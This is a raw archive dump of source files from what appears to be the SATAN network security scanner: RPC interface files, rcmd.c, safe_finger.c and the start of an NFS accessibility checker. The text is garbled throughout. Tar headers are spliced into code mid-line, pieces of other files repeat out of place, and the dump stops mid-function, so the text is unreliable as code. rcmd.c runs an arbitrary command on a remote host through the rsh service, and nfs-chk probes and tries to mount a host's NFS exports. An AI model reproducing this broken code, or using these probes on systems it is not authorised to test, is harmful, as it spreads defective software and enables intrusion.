  13059.  */
  13060.  
  13061. #ifndef RPC_HDR
  13062. %#ifndef lint
  13063. %/*static char sccsid[] = "from: @(#)rex.x 1.3 87/09/18 Copyr 1987 Sun Micro";*/
  13064. %/*static char sccsid[] = "from: @(#)rex.x.2.1 88/08/01 4.0 RPCSRC";*/
  13065. %static char rcsid[] = "$Id: rex.x,v 1.1 1994/08/04 19:01:49 wollman Exp $";
  13066. %#endif /* not lint */
  13067. #endif
  13068.  
  13069. const STRINGSIZE = 1024;
  13070. typedef string rexstring<1024>;
  13071.  
  13072. /*
  13073.  * values to pass to REXPROC_SIGNAL
  13074.  */
  13075. const SIGINT = 2;./* interrupt */
  13076.  
  13077. /*
  13078.  * Values for rst_flags, below 
  13079.  */
  13080. const REX_INTERACTIVE = 1;./* interactive mode */
  13081.  
  13082. struct rex_start {
  13083. .rexstring rst_cmd<>;./* list of command and args */
  13084. .rexstring rst_host;./* working directory host name */
  13085. .rexstring rst_fsname;./* working directory file system name */
  13086. .rexstring rst_dirwithin;/* working directory within file system */
  13087. .rexstring rst_env<>;./* list of environment */
  13088. .unsigned int rst_port0;./* port for stdin */
  13089. .unsigned int rst_port1;./* port for stdout */
  13090. .unsigned int rst_port2;./* port for stderr */
  13091. .unsigned int rst_flags;./* options - see const above */
  13092. };
  13093.  
  13094. struct rex_result {
  13095.    .int rlt_stat;../* integer status code */
  13096. .rexstring rlt_message;./* string message for human consumption */
  13097. };
  13098.  
  13099.  
  13100. struct sgttyb {
  13101. .unsigned four;./* always equals 4 */
  13102. .opaque chars[4];
  13103. ./* chars[0] == input speed */
  13104. ./* chars[1] == output speed */
  13105. ./* chars[2] == kill character */
  13106. ./* chars[3] == erase character */
  13107. .unsigned flags;
  13108. };
  13109. /* values for speeds above (baud rates)  */
  13110. const B0  = 0;
  13111. const B50 = 1;
  13112. const B75 = 2;
  13113. const B110 = 3;
  13114. const B134 = 4;
  13115. const B150 = 5;
  13116. const B200 = 6;
  13117. const B300 = 7;
  13118. const B600 = 8;
  13119. const B1200 = 9;
  13120. const B1800 = 10;
  13121. const B2400 = 11;
  13122. const B4800 = 12;
  13123. const B9600 = 13;
  13124. const B19200 = 14;
  13125. const B38400 = 15;
  13126.  
  13127. /* values for flags above */
  13128. const TANDEM = 0x00000001; /* send stopc on out q full */
  13129. const CBREAK = 0x00000002; /* half-cooked mode */
  13130. const LCASE = 0x00000004; /* simulate lower case */
  13131. const ECHO = 0x00000008; /* echo input */
  13132. const CRMOD = 0x00000010; /* map \r to \r\n on output */
  13133. const RAW = 0x00000020; /* no i/o processing */
  13134. const ODDP = 0x00000040; /* get/send odd parity */
  13135. const EVENP = 0x00000080; /* get/send even parity */
  13136. const ANYP = 0x000000c0; /* get any parity/send none */
  13137. const NLDELAY = 0x00000300; /* \n delay */
  13138. const  NL0 = 0x00000000;
  13139. const  NL1 = 0x00000100; /* tty 37 */
  13140. const  NL2 = 0x00000200; /* vt05 */
  13141. const  NL3 = 0x00000300;
  13142. const TBDELAY = 0x00000c00; /* horizontal tab delay */
  13143. const  TAB0 = 0x00000000;
  13144. const  TAB1 = 0x00000400; /* tty 37 */
  13145. const  TAB2 = 0x00000800;
  13146. const XTABS = 0x00000c00; /* expand tabs on output */
  13147. const CRDELAY = 0x00003000; /* \r delay */
  13148. const  CR0 = 0x00000000;
  13149. const  CR1 = 0x00001000; /* tn 300 */
  13150. const  CR2 = 0x00002000; /* tty 37 */
  13151. const  CR3 = 0x00003000; /* concept 100 */
  13152. const VTDELAY = 0x00004000; /* vertical tab delay */
  13153. const  FF0 = 0x00000000;
  13154. const  FF1 = 0x00004000; /* tty 37 */
  13155. const BSDELAY = 0x00008000; /* \b delay */
  13156. const  BS0 = 0x00000000;
  13157. const  BS1 = 0x00008000;
  13158. const CRTBS = 0x00010000; /* do backspacing for crt */
  13159. const PRTERA = 0x00020000; /* \ ... / erase */
  13160. const CRTERA = 0x00040000; /* " \b " to wipe out char */
  13161. const TILDE = 0x00080000; /* hazeltine tilde kludge */
  13162. const MDMBUF = 0x00100000; /* start/stop output on carrier intr */
  13163. const LITOUT = 0x00200000; /* literal output */
  13164. const TOSTOP = 0x00400000; /* SIGTTOU on background output */
  13165. const FLUSHO = 0x00800000; /* flush output to terminal */
  13166. const NOHANG = 0x01000000; /* no SIGHUP on carrier drop */
  13167. const L001000 = 0x02000000;
  13168. const CRTKIL = 0x04000000; /* kill line with " \b " */
  13169. const PASS8 = 0x08000000;
  13170. const CTLECH = 0x10000000; /* echo control chars as ^X */
  13171. const PENDIN = 0x20000000; /* tp->t_rawq needs reread */
  13172. const DECCTQ = 0x40000000; /* only ^Q starts after ^S */
  13173. const NOFLSH = 0x80000000; /* no output flush on signal */
  13174.  
  13175. struct tchars {
  13176. .unsigned six;./* always equals 6 */
  13177. .opaque chars[6];
  13178. ./* chars[0] == interrupt char */
  13179. ./* chars[1] == quit char */
  13180. ./* chars[2] == start output char */
  13181. ./* chars[3] == stop output char */
  13182. ./* chars[4] == end-of-file char */
  13183. ./* chars[5] == input delimeter (like nl) */
  13184. };
  13185.  
  13186. struct ltchars {
  13187. .unsigned six;./* always equals 6 */
  13188. .opaque chars[6];
  13189. ./* chars[0] == stop process signal */
  13190. ./* chars[1] == delayed stop process signal */
  13191. ./* chars[2] == reprint line */
  13192. ./* chars[3] == flush output */
  13193. ./* chars[4] == word erase */
  13194. ./* chars[5] == literal next character */
  13195. .unsigned mode;
  13196. };
  13197.  
  13198. struct rex_ttysize {
  13199. .int ts_lines;
  13200. .int ts_cols;
  13201. };
  13202.  
  13203. struct rex_ttymode {
  13204.     sgttyb basic;    /* standard unix tty flags */
  13205.     tchars more; /* interrupt, kill characters, etc. */
  13206.     ltchars yetmore; /* special Berkeley characters */
  13207.     unsigned andmore;     /* and Berkeley modes */
  13208. };
  13209.  
  13210. /* values for andmore above */
  13211. const LCRTBS = 0x0001;./* do backspacing for crt */
  13212. const LPRTERA = 0x0002;./* \ ... / erase */
  13213. const LCRTERA = 0x0004;./* " \b " to wipe out char */
  13214. const LTILDE = 0x0008;./* hazeltine tilde kludge */
  13215. const LMDMBUF = 0x0010;./* start/stop output on carrier intr */
  13216. const LLITOUT = 0x0020;./* literal output */
  13217. const LTOSTOP = 0x0040;./* SIGTTOU on background output */
  13218. const LFLUSHO = 0x0080;./* flush output to terminal */
  13219. const LNOHANG = 0x0100;./* no SIGHUP on carrier drop */
  13220. const LL001000 = 0x0200;
  13221. const LCRTKIL = 0x0400;./* kill line with " \b " */
  13222. const LPASS8 = 0x0800;
  13223. const LCTLECH = 0x1000;./* echo control chars as ^X */
  13224. const LPENDIN = 0x2000;./* needs reread */
  13225. const LDECCTQ = 0x4000;./* only ^Q starts after ^S */
  13226. const LNOFLSH = 0x8000;./* no output flush on signal */
  13227.  
  13228. program REXPROG {
  13229. .version REXVERS {
  13230.  
  13231. ../*
  13232. .. * Start remote execution
  13233. .. */
  13234. ..rex_result 
  13235. ..REXPROC_START(rex_start) = 1;
  13236.  
  13237. ../*
  13238. .. * Wait for remote execution to terminate
  13239. .. */
  13240. ..rex_result
  13241. ..REXPROC_WAIT(void) = 2;
  13242.  
  13243. ../*
  13244. .. * Send tty modes
  13245. .. */
  13246. ..void
  13247. ..REXPROC_MODES(rex_ttymode) = 3;
  13248.  
  13249. ../*
  13250. .. * Send window size change
  13251. .. */
  13252. ..void
  13253. ..REXPROC_WINCH(rex_ttysize) = 4;
  13254.  
  13255. ../*
  13256. .. * Send other signal
  13257. .. */
  13258. ..void
  13259. ..REXPROC_SIGNAL(int) = 5;
  13260. .} = 1;
  13261. } = 100017;
  13262. t ECHO = 0x00000008; /* echo input */
  13263. const CRMOD = 0x00000010; /* map \r to \r\n on output */
  13264. const RAW = 0x00000020; /* no i/o processing */
  13265. const ODDP = 0x00000040; /* get/send odd parity */
  13266. const EVENP = 0x00000080; /* get/send even parity */
  13267. const ANYP = 0x000000c0; /* get any parity/send none */
  13268. const NLDELAY = 0x00000300; /* \n delay */
  13269. const  NL0 = 0x00000satan-1.1.1/src/misc/sys_socket.c...................................................................   600 .   465 .   506 .        721  5740245116  11731. .................................................................................
  13270. .................................................................................................................................................................................................................................................................
  13271. .................. /*
  13272.   * Many PERL installations have no sys/socket.ph file, and with many
  13273.   * installations, the sys/*.ph files are broken. This is a bizarre
  13274.   * workaround: a C program to bootstrap a PERL application.
  13275.   * 
  13276.   * Author: Wietse Venema.
  13277.   */
  13278. #include <sys/types.h>
  13279. #include <sys/socket.h>
  13280.  
  13281. int     main(argc, argv)
  13282. int     argc;
  13283. char  **argv;
  13284. {
  13285.     printf("sub AF_INET { %d; }\n", AF_INET);
  13286.     printf("sub SOCK_STREAM { %d; }\n", SOCK_STREAM);
  13287.     printf("1;\n");
  13288. }
  13289.  " \b " */
  13290. const LPASS8 = 0x0800;
  13291. const LCTLECHsatan-1.1.1/src/misc/rcmd.c.........................................................................   600 .   465 .   506 .       1372  5741556533  10524. ........................................................................................
  13292. .................................................................................................................................................................................................................................................................
  13293. .........../* rcmd - remote command execution */
  13294.  
  13295. #include <sys/types.h>
  13296. #include <stdio.h>
  13297. #include <netdb.h>
  13298.  
  13299. main(argc, argv)
  13300. int     argc;
  13301. char  **argv;
  13302. {
  13303.     char    buffer[BUFSIZ];
  13304.     struct servent *sp;
  13305.     int     s;
  13306.     int     n;
  13307.  
  13308.     if (argc != 4) {
  13309. .fprintf(stderr, "usage: %s host user 'command'\n", argv[0]);
  13310. .return (1);
  13311.     }
  13312.     if (geteuid()) {
  13313. .fprintf(stderr, "test needs root privileges\n");
  13314. .return (1);
  13315.     }
  13316.     sp = getservbyname("shell", "tcp");
  13317.     if (sp == 0) {
  13318. .fprintf(stderr, "unknown service: shell/tcp\n");
  13319. .return (1);
  13320.     }
  13321.     s = rcmd(argv + 1, sp->s_port, argv[2], argv[2], argv[3], NULL);
  13322.     if (s >= 0) {
  13323. .while ((n = read(s, buffer, sizeof(buffer))) > 0)
  13324. .    write(1, buffer, n);
  13325. .return (0);
  13326.     } else {
  13327. .return (1);
  13328.     }
  13329. }
  13330. remote execution
  13331. .. */
  13332. ..rex_result 
  13333. ..REXPROC_START(rex_start) = 1;
  13334.  
  13335. ../*
  13336. .. * Wait for remote execution to terminate
  13337. .. */
  13338. ..rex_result
  13339. ..REXPROC_WAIT(void) = 2;
  13340.  
  13341. ../*
  13342. .. * Send tty modes
  13343. .. */
  13344. ..void
  13345. ..REXPROC_MODES(rex_ttymode) = 3;
  13346.  
  13347. ../*
  13348. .. * Send window sisatan-1.1.1/src/misc/safe_finger.c..................................................................   400 .   465 .   506 .      11756  5733362522  12066. ..................................................................................
  13349. .................................................................................................................................................................................................................................................................
  13350. ................. /*
  13351.   * safe_finger - finger client wrapper that protects against nasty stuff
  13352.   * from finger servers. Use this program for automatic reverse finger
  13353.   * probes, not the raw finger command.
  13354.   * 
  13355.   * Build with: cc -o safe_finger safe_finger.c
  13356.   * 
  13357.   * The problem: some programs may react to stuff in the first column. Other
  13358.   * programs may get upset by thrash anywhere on a line. File systems may
  13359.   * fill up as the finger server keeps sending data. Text editors may bomb
  13360.   * out on extremely long lines. The finger server may take forever because
  13361.   * it is somehow wedged. The code below takes care of all this badness.
  13362.   * 
  13363.   * Author: Wietse Venema, Eindhoven University of Technology, The Netherlands.
  13364.   */
  13365.  
  13366. #ifndef lint
  13367. static char sccsid[] = "@(#) safe_finger.c 1.4 94/12/28 17:42:41";
  13368. #endif
  13369.  
  13370. /* System libraries */
  13371.  
  13372. #include <sys/types.h>
  13373. #include <sys/stat.h>
  13374. #include <signal.h>
  13375. #include <stdio.h>
  13376. #include <ctype.h>
  13377. #include <pwd.h>
  13378.  
  13379. extern void exit();
  13380.  
  13381. /* Local stuff */
  13382.  
  13383. char    path[] = "PATH=/bin:/usr/bin:/usr/ucb:/usr/bsd:/etc:/usr/etc:/usr/sbin";
  13384.  
  13385. #define.TIME_LIMIT.60../* Do not keep listinging forever */
  13386. #define.INPUT_LENGTH.100000../* Do not keep listinging forever */
  13387. #define.LINE_LENGTH.128../* Editors can choke on long lines */
  13388. #define.FINGER_PROGRAM."finger"./* Most, if not all, UNIX systems */
  13389. #define.UNPRIV_NAME."nobody"./* Preferred privilege level */
  13390. #define.UNPRIV_UGID.32767../* Default uid and gid */
  13391.  
  13392. int     finger_pid;
  13393.  
  13394. void    cleanup(sig)
  13395. int     sig;
  13396. {
  13397.     kill(finger_pid, SIGKILL);
  13398.     exit(0);
  13399. }
  13400.  
  13401. main(argc, argv)
  13402. int     argc;
  13403. char  **argv;
  13404. {
  13405.     int     c;
  13406.     int     line_length = 0;
  13407.     int     finger_status;
  13408.     int     wait_pid;
  13409.     int     input_count = 0;
  13410.     struct passwd *pwd;
  13411.  
  13412.     /*
  13413.      * First of all, let's don't run with superuser privileges.
  13414.      */
  13415.     if (getuid() == 0 || geteuid() == 0) {
  13416. .if ((pwd = getpwnam(UNPRIV_NAME)) && pwd->pw_uid > 0) {
  13417. .    setgid(pwd->pw_gid);
  13418. .    setuid(pwd->pw_uid);
  13419. .} else {
  13420. .    setgid(UNPRIV_UGID);
  13421. .    setuid(UNPRIV_UGID);
  13422. .}
  13423.     }
  13424.  
  13425.     /*
  13426.      * Redirect our standard input through the raw finger command.
  13427.      */
  13428.     if (putenv(path)) {
  13429. .fprintf(stderr, "%s: putenv: out of memory", argv[0]);
  13430. .exit(1);
  13431.     }
  13432.     argv[0] = FINGER_PROGRAM;
  13433.     finger_pid = pipe_stdin(argv);
  13434.  
  13435.     /*
  13436.      * Don't wait forever (Peter Wemm <peter@gecko.DIALix.oz.au>).
  13437.      */
  13438.     signal(SIGALRM, cleanup);
  13439.     (void) alarm(TIME_LIMIT);
  13440.  
  13441.     /*
  13442.      * Main filter loop.
  13443.      */
  13444.     while ((c = getchar()) != EOF) {
  13445. .if (input_count++ >= INPUT_LENGTH) {./* don't listen forever */
  13446. .    fclose(stdin);
  13447. .    printf("\n\n Input truncated to %d bytes...\n", input_count - 1);
  13448. .    break;
  13449. .}
  13450. .if (c == '\n') {.../* good: end of line */
  13451. .    putchar(c);
  13452. .    line_length = 0;
  13453. .} else {
  13454. .    if (line_length >= LINE_LENGTH) {./* force end of line */
  13455. ..printf("\\\n");
  13456. ..line_length = 0;
  13457. .    }
  13458. .    if (line_length == 0) {../* protect left margin */
  13459. ..putchar(' ');
  13460. ..line_length++;
  13461. .    }
  13462. .    if (isascii(c) && (isprint(c) || isspace(c))) {./* text */
  13463. ..if (c == '\\') {
  13464. ..    putchar(c);
  13465. ..    line_length++;
  13466. ..}
  13467. ..putchar(c);
  13468. ..line_length++;
  13469. .    } else {..../* quote all other thash */
  13470. ..printf("\\%03o", c & 0377);
  13471. ..line_length += 4;
  13472. .    }
  13473. .}
  13474.     }
  13475.  
  13476.     /*
  13477.      * Wait until the finger child process has terminated and account for its
  13478.      * exit status. Which will always be zero on most systems.
  13479.      */
  13480.     while ((wait_pid = wait(&finger_status)) != -1 && wait_pid != finger_pid)
  13481. . /* void */ ;
  13482.     return (wait_pid != finger_pid || finger_status != 0);
  13483. }
  13484.  
  13485. /* perror_exit - report system error text and terminate */
  13486.  
  13487. void    perror_exit(text)
  13488. char   *text;
  13489. {
  13490.     perror(text);
  13491.     exit(1);
  13492. }
  13493.  
  13494. /* pipe_stdin - pipe stdin through program (from my ANSI to OLD C converter) */
  13495.  
  13496. int     pipe_stdin(argv)
  13497. char  **argv;
  13498. {
  13499.     int     pipefds[2];
  13500.     int     pid;
  13501.     int     i;
  13502.     struct stat st;
  13503.  
  13504.     /*
  13505.      * The code that sets up the pipe requires that file descriptors 0,1,2
  13506.      * are already open. All kinds of mysterious things will happen if that
  13507.      * is not the case. The following loops makes sure that descriptors 0,1,2
  13508.      * are set up properly.
  13509.      */
  13510.  
  13511.     for (i = 0; i < 3; i++) {
  13512. .if (fstat(i, &st) == -1 && open("/dev/null", 2) != i)
  13513. .    perror_exit("open /dev/null");
  13514.     }
  13515.  
  13516.     /*
  13517.      * Set up the pipe that interposes the command into our standard input
  13518.      * stream.
  13519.      */
  13520.  
  13521.     if (pipe(pipefds))
  13522. .perror_exit("pipe");
  13523.  
  13524.     switch (pid = fork()) {
  13525.     case -1:...../* error */
  13526. .perror_exit("fork");
  13527. ./* NOTREACHED */
  13528.     case 0:...../* child */
  13529. .(void) close(pipefds[0]);../* close reading end */
  13530. .(void) close(1);.../* connect stdout to pipe */
  13531. .if (dup(pipefds[1]) != 1)
  13532. .    perror_exit("dup");
  13533. .(void) close(pipefds[1]);../* close redundant fd */
  13534. .(void) execvp(argv[0], argv);
  13535. .perror_exit(argv[0]);
  13536. ./* NOTREACHED */
  13537.     default:...../* parent */
  13538. .(void) close(pipefds[1]);../* close writing end */
  13539. .(void) close(0);.../* connect stdin to pipe */
  13540. .if (dup(pipefds[0]) != 0)
  13541. .    perror_exit("dup");
  13542. .(void) close(pipefds[0]);../* close redundant fd */
  13543. .return (pid);
  13544.     }
  13545. }
  13546.  SIGKILL);
  13547.     exisatan-1.1.1/src/nfs-chk/............................................................................   700 .   465 .   506 .          0  5742521552   7731. ..............................................................................................
  13548. .................................................................................................................................................................................................................................................................
  13549. .....satan-1.1.1/src/nfs-chk/Makefile....................................................................   600 .   465 .   506 .       1310  5741523034  11447. ................................................................................................
  13550. .................................................................................................................................................................................................................................................................
  13551. ...SHELL.= /bin/sh
  13552. BIN.= ../../bin
  13553. OBJECTS.= nfs-chk.o nfs_prot_clnt.o nfs_prot_xdr.o mount_clnt.o mount_xdr.o
  13554. MAKES.= nfs_prot.h nfs_prot_clnt.c nfs_prot_svc.c nfs_prot_xdr.c mount.h \
  13555. .mount_clnt.c mount_svc.c mount_xdr.c
  13556. PROG.= $(BIN)/nfs-chk
  13557. CFLAGS.= -O -I. $(XFLAGS)
  13558. XFLAGS.= -DAUTH_GID_T=int
  13559. RPCGEN.= rpcgen
  13560. #LIBS.= -lsocket -lnsl
  13561.  
  13562. $(PROG):$(OBJECTS)
  13563. .$(CC) $(CFLAGS) -o $@ $(OBJECTS) $(LIBS)
  13564.  
  13565. nfs_prot.h nfs_prot_clnt.c nfs_prot_xdr.c: nfs_prot.x
  13566. .$(RPCGEN) $? 2>/dev/null
  13567.  
  13568. nfs_prot.x:
  13569. .cp /usr/include/rpcsvc/nfs_prot.x .
  13570.  
  13571. mount.h mount_clnt.c mount_xdr.c: mount.x
  13572. .$(RPCGEN) $? 2>/dev/null
  13573.  
  13574. mount.x:
  13575. .cp /usr/include/rpcsvc/mount.x .
  13576.  
  13577. clean:
  13578. .rm -f $(PROG) *.o core $(MAKES)
  13579.  
  13580. nfs-chk.o: mount.h nfs_prot.h
  13581.      * Set up the pipe that interposes the command into our standard input
  13582.      * stream.
  13583.      */
  13584.  
  13585.     if (pipe(pipefds))
  13586. .perror_exit("pipe");
  13587.  
  13588.     switch (pid = fork()) {
  13589.     case -1:...../* error */
  13590. .perror_exit("fork");
  13591. ./* NOTREACHED */
  13592.     case 0:...../* child */
  13593. .(void) close(pipefds[0]);../* close readisatan-1.1.1/src/nfs-chk/mount.x.....................................................................   400 .   465 .   506 .      10725  5664357621  11405. ...........................................................
  13594. .................................................................................................................................................................................................................................................................
  13595. ......................................../*
  13596.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  13597.  * unrestricted use provided that this legend is included on all tape
  13598.  * media and as a part of the software program in whole or part.  Users
  13599.  * may copy or modify Sun RPC without charge, but are not authorized
  13600.  * to license or distribute it to anyone else except as part of a product or
  13601.  * program developed by the user.
  13602.  * 
  13603.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  13604.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  13605.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  13606.  * 
  13607.  * Sun RPC is provided with no support and without any obligation on the
  13608.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  13609.  * modification or enhancement.
  13610.  * 
  13611.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  13612.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  13613.  * OR ANY PART THEREOF.
  13614.  * 
  13615.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  13616.  * or profits or other special, indirect and consequential damages, even if
  13617.  * Sun has been advised of the possibility of such damages.
  13618.  * 
  13619.  * Sun Microsystems, Inc.
  13620.  * 2550 Garcia Avenue
  13621.  * Mountain View, California  94043
  13622.  */
  13623.  
  13624. /*
  13625.  * Protocol description for the mount program
  13626.  */
  13627.  
  13628. #ifndef RPC_HDR
  13629. %#ifndef lint
  13630. %/*static char sccsid[] = "from: @(#)mount.x 1.2 87/09/18 Copyr 1987 Sun Micro";*/
  13631. %/*static char sccsid[] = "from: @(#)mount.x.2.1 88/08/01 4.0 RPCSRC";*/
  13632. %static char rcsid[] = "$Id: mount.x,v 1.1 1994/08/04 19:01:46 wollman Exp $";
  13633. %#endif /* not lint */
  13634. #endif
  13635.  
  13636. const MNTPATHLEN = 1024;./* maximum bytes in a pathname argument */
  13637. const MNTNAMLEN = 255;../* maximum bytes in a name argument */
  13638. const FHSIZE = 32;../* size in bytes of a file handle */
  13639.  
  13640. /*
  13641.  * The fhandle is the file handle that the server passes to the client.
  13642.  * All file operations are done using the file handles to refer to a file
  13643.  * or a directory. The file handle can contain whatever information the
  13644.  * server needs to distinguish an individual file.
  13645.  */
  13646. typedef opaque fhandle[FHSIZE];.
  13647.  
  13648. /*
  13649.  * If a status of zero is returned, the call completed successfully, and 
  13650.  * a file handle for the directory follows. A non-zero status indicates
  13651.  * some sort of error. The status corresponds with UNIX error numbers.
  13652.  */
  13653. union fhstatus switch (unsigned fhs_status) {
  13654. case 0:
  13655. .fhandle fhs_fhandle;
  13656. default:
  13657. .void;
  13658. };
  13659.  
  13660. /*
  13661.  * The type dirpath is the pathname of a directory
  13662.  */
  13663. typedef string dirpath<MNTPATHLEN>;
  13664.  
  13665. /*
  13666.  * The type name is used for arbitrary names (hostnames, groupnames)
  13667.  */
  13668. typedef string name<MNTNAMLEN>;
  13669.  
  13670. /*
  13671.  * A list of who has what mounted
  13672.  */
  13673. typedef struct mountbody *mountlist;
  13674. struct mountbody {
  13675. .name ml_hostname;
  13676. .dirpath ml_directory;
  13677. .mountlist ml_next;
  13678. };
  13679.  
  13680. /*
  13681.  * A list of netgroups
  13682.  */
  13683. typedef struct groupnode *groups;
  13684. struct groupnode {
  13685. .name gr_name;
  13686. .groups gr_next;
  13687. };
  13688.  
  13689. /*
  13690.  * A list of what is exported and to whom
  13691.  */
  13692. typedef struct exportnode *exports;
  13693. struct exportnode {
  13694. .dirpath ex_dir;
  13695. .groups ex_groups;
  13696. .exports ex_next;
  13697. };
  13698.  
  13699. program MOUNTPROG {
  13700. ./*
  13701. . * Version one of the mount protocol communicates with version two
  13702. . * of the NFS protocol. The only connecting point is the fhandle 
  13703. . * structure, which is the same for both protocols.
  13704. . */
  13705. .version MOUNTVERS {
  13706. ../*
  13707. .. * Does no work. It is made available in all RPC services
  13708. .. * to allow server reponse testing and timing
  13709. .. */
  13710. ..void
  13711. ..MOUNTPROC_NULL(void) = 0;
  13712.  
  13713. ../*.
  13714. .. * If fhs_status is 0, then fhs_fhandle contains the
  13715. . . * file handle for the directory. This file handle may
  13716. .. * be used in the NFS protocol. This procedure also adds
  13717. .. * a new entry to the mount list for this client mounting
  13718. .. * the directory.
  13719. .. * Unix authentication required.
  13720. .. */
  13721. ..fhstatus 
  13722. ..MOUNTPROC_MNT(dirpath) = 1;
  13723.  
  13724. ../*
  13725. .. * Returns the list of remotely mounted filesystems. The 
  13726. .. * mountlist contains one entry for each hostname and 
  13727. .. * directory pair.
  13728. .. */
  13729. ..mountlist
  13730. ..MOUNTPROC_DUMP(void) = 2;
  13731.  
  13732. ../*
  13733. .. * Removes the mount list entry for the directory
  13734. .. * Unix authentication required.
  13735. .. */
  13736. ..void
  13737. ..MOUNTPROC_UMNT(dirpath) = 3;
  13738.  
  13739. ../*
  13740. .. * Removes all of the mount list entries for this client
  13741. .. * Unix authentication required.
  13742. .. */
  13743. ..void
  13744. ..MOUNTPROC_UMNTALL(void) = 4;
  13745.  
  13746. ../*
  13747. .. * Returns a list of all the exported filesystems, and which
  13748. .. * machines are allowed to import it.
  13749. .. */
  13750. ..exports
  13751. ..MOUNTPROC_EXPORT(void)  = 5;
  13752.  
  13753. ../*
  13754. .. * Identical to MOUNTPROC_EXPORT above
  13755. .. */
  13756. ..exports
  13757. ..MOUNTPROC_EXPORTALL(void) = 6;
  13758. .} = 1;
  13759. } = 100005;
  13760. THE
  13761.  * WARRANTIES OF DESIGN, MERCHANTIBILITsatan-1.1.1/src/nfs-chk/nfs-chk.c...................................................................   600 .   465 .   506 .      24244  5740245145  11542. ..............................................................
  13762. .................................................................................................................................................................................................................................................................
  13763. ..................................... /*
  13764.   * nfs-chk - report on nfs file accessibility
  13765.   * 
  13766.   * Tries to mount via the portmapper.
  13767.   * 
  13768.   * Tries to mount as unprivileged user.
  13769.   * 
  13770.   * Needs to be run by superuser.
  13771.   * 
  13772.   * Author: Wietse Venema.
  13773.   */
  13774.  
  13775. #define PORTMAP
  13776.  
  13777. #include <sys/types.h>
  13778. #include <sys/socket.h>
  13779. #include <sys/time.h>
  13780. #include <string.h>
  13781. #include <stdlib.h>
  13782. #include <unistd.h>
  13783. #include <stdio.h>
  13784. #include <errno.h>
  13785. #include <netdb.h>
  13786. #include <netinet/in.h>
  13787. #include <arpa/inet.h>
  13788. #include <rpc/rpc.h>
  13789. #include <rpc/pmap_prot.h>
  13790.  
  13791. #ifdef TIRPC
  13792. #include <sys/tiuser.h>
  13793. #include <stropts.h>
  13794. #endif
  13795.  
  13796. #ifndef  INADDR_NONE
  13797. #define  INADDR_NONE     (-1)../* XXX should be 0xffffffff */
  13798. #endif
  13799.  
  13800. extern int getopt();
  13801. extern int optind;
  13802. extern char *optarg;
  13803.  
  13804. #include "mount.h"
  13805. #include "nfs_prot.h"
  13806.  
  13807. static struct timeval timeout = {5, 0};
  13808. static int verbose = 0;
  13809. static int portmap = 1;
  13810. static char *progname;
  13811.  
  13812. #define debug if (verbose) printf
  13813.  
  13814. #define UNPRIVILEGED_PORT.0
  13815. #define PRIVILEGED_PORT..1
  13816.  
  13817. struct hostinfo {
  13818.     char   *hostname;
  13819.     struct sockaddr_in sin;
  13820.     CLIENT *mountd_clnt;../* privileged mount */
  13821.     CLIENT *nfsd_clnt;.../* privileged nfs */
  13822.     CLIENT *umountd_clnt;../* unprivileged mount */
  13823.     CLIENT *unfsd_clnt;.../* privileged nfs */
  13824. };
  13825.  
  13826. /* usage - explain and terminate */
  13827.  
  13828. void    usage()
  13829. {
  13830.     fprintf(stderr, "Usage: %s [-p] [-v] [-t timeout] hostname\n", progname);
  13831.     exit(1);
  13832. }
  13833.  
  13834. /* perrorexit - print error and exit */
  13835.  
  13836. void    perrorexit(text)
  13837. char   *text;
  13838. {
  13839.     perror(text);
  13840.     exit(1);
  13841. }
  13842.  
  13843. /* clnt_pcreateerrorexit - print error and exit */
  13844.  
  13845. void    clnt_pcreateerrorexit(text)
  13846. char   *text;
  13847. {
  13848.     clnt_pcreateerror(text);
  13849.     exit(1);
  13850. }
  13851.  
  13852. /* clnt_perrorexit - print error and exit */
  13853.  
  13854. void    clnt_perrorexit(client, text)
  13855. CLIENT *client;
  13856. char   *text;
  13857. {
  13858.     clnt_perror(client, text);
  13859.     exit(1);
  13860. }
  13861.  
  13862. /* nfs_perror - print nfs error */
  13863.  
  13864. void    nfs_perror(status, text)
  13865. int     status;
  13866. char   *text;
  13867. {
  13868.     errno = status;..../* XXX */
  13869.     perror(text);
  13870. }
  13871.  
  13872. /* nfs_perrorexit - print nfs error and exit */
  13873.  
  13874. void    nfs_perrorexit(status, text)
  13875. int     status;
  13876. char   *text;
  13877. {
  13878.     errno = status;..../* XXX */
  13879.     perrorexit(text);
  13880. }
  13881.  
  13882. /* reserved_port - allocate a privileged port or bust */
  13883.  
  13884. int     reserved_port(type, protocol)
  13885. int     type;
  13886. int     protocol;
  13887. {
  13888.     struct sockaddr_in sin;
  13889.     int     port;
  13890.     int     sock;
  13891.  
  13892.     if ((sock = socket(AF_INET, type, protocol)) < 0)
  13893. .perrorexit("nfs-chk: socket");
  13894.     memset((char *) &sin, 0, sizeof(sin));
  13895.     sin.sin_family = AF_INET;
  13896.     sin.sin_addr.s_addr = 0;
  13897.  
  13898.     for (port = IPPORT_RESERVED - 1; port > IPPORT_RESERVED / 2; port--) {
  13899. .sin.sin_port = htons((u_short) port);
  13900. .if (bind(sock, (struct sockaddr *) & sin, sizeof(sin)) >= 0) {
  13901. .    debug("Using privileged port %d\n", port);
  13902. .    return (sock);
  13903. .}
  13904. .if (errno != EADDRINUSE && errno != EADDRNOTAVAIL)
  13905. .    break;
  13906.     }
  13907.     perrorexit("nfs-chk: bind privileged port");
  13908. }
  13909.  
  13910. /* make_client - create client handle to talk to rpc server */
  13911.  
  13912. CLIENT *make_client(addr, program, version, privileged)
  13913. struct sockaddr_in *addr;
  13914. u_long  program;
  13915. u_long  version;
  13916. int     privileged;
  13917. {
  13918.     CLIENT *client;
  13919.     int     sock;
  13920.     AUTH_GID_T nul = 0;
  13921.  
  13922. #if 0
  13923.     debug("Trying to set up TCP client handle\n");
  13924.     addr->sin_port = 0;
  13925.     if (privileged) {
  13926. .sock = reserved_port(SOCK_STREAM, IPPROTO_TCP);
  13927.     } else {
  13928. .sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  13929.     }
  13930.     if (sock < 0)
